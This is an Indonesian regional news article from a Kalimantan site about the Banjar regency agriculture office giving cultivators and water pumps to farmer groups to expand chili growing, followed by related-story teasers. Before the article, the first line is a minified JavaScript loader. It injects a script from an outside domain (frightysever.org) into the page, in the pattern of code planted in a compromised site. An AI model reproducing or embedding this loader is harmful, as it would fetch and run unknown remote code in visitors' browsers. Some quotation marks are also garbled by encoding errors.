(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dinas Tanaman Pangan dan Hortikultura (TPH) Kabupaten Banjar serahkan sebanyak 12 unit cultivator dan 24 unit pompa air, untuk meningkatkan pengembangan cabai rawit di 6 Kecamatan di Kabupaten Banjar, Senin (2/7).
Menurut Kepala Dinas TPH, Ir H Muhhamad Fachry MP, adapun penyerahan bantuan sebanyak 12 unit Cultivator dan 24 unit pompa air yang dilakukan seusai apel gabungan di halaman Pemkab Banjar. Barang-barang tersebut secara simbolis diserahkan kepada dua kelompok tani Suka Makmur dari Desa Bincau, Kecamatan Martapura Kota, dan Kelompok Tani Tunas Harapan dari Desa Lok Gabang, Kecamatan Astambul.
Menurut Fachry, penyerahan bantuan tersebut merupakan upaya menyokong pengembangan cabai rawit di seluas 24 hektare di enam kecamatan yang bersumber dari dana Anggaran Pendapatan dan Belanja Negara (APBN) dan Dana Alokasi Khusus (DAK) Kementrian Pertanian tahun 2018 .
“Adapun 6 Kecamatan tersebut diantaranya seperti kecamatan Simpang Empat, Kecamatan Mataraman, Kecamatan Martapura dan Kecamatan Astambul,†ujarnya.
Lebih jauh Fachry menjelaskan di masing-masing kelompok tani penerima bantuan tersebut, perdua hektare mendapat satu Cultivator. Menurut dia, pengembangan cabe rawit dipilih karena pada saat-saat tertentu harganya melonjak dan tanaman hortikultura ini tentunya menjanjikan sehingga kedepan bisa lebih meningkatkan kesejahteraan para petani.
“Semua kecamatan potensial untuk ditanami cabai rawit. Jadi kita ingin supaya produksi ini terus kontinyu sepanjang tahun dan pola tanam harus terus dikembangan jadi dengan bantuan ini diharap bisa setiap minggunya ada pertanaman cabai rawit,†ujarnya.
Sementara itu Ketua Kelompok Tani Suka Makmur dari Desa Bincau kacamatan Martapura Kota Masrun Bawani, yang menerima bantuan tersebut menyampaikan terimakasih kepada pemerintah daerah yang telah memperhatikan para petani.
“Jika dulu kami petani menggunakan tenaga manual itu sangat melelahan, sekarang dengan adanya bantuan alat tersebut tentunya sangat membantu dari segi tenaga, waktu dan biaya, semoga dengan adanya alat ini dapat meningkatkan kesejahteraan para petani ditempat kami,†ujarnya.
Sementara itu menurut Bupati Banjar KH Khalillurahman alat Cultivator tersebut merupakan alat yang nantinya dapat digunakan untuk meningkatkan produksi tanaman hortikultura khususnya yang berada di Kabupaten Banjar.
“Saya berpesan kepada Kelompok Tani yang menerima alat ini agar dimanfaatkan betul-betul dan jangan sampai menjadi besi tua yang tidak terpakai lagi,†harapnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.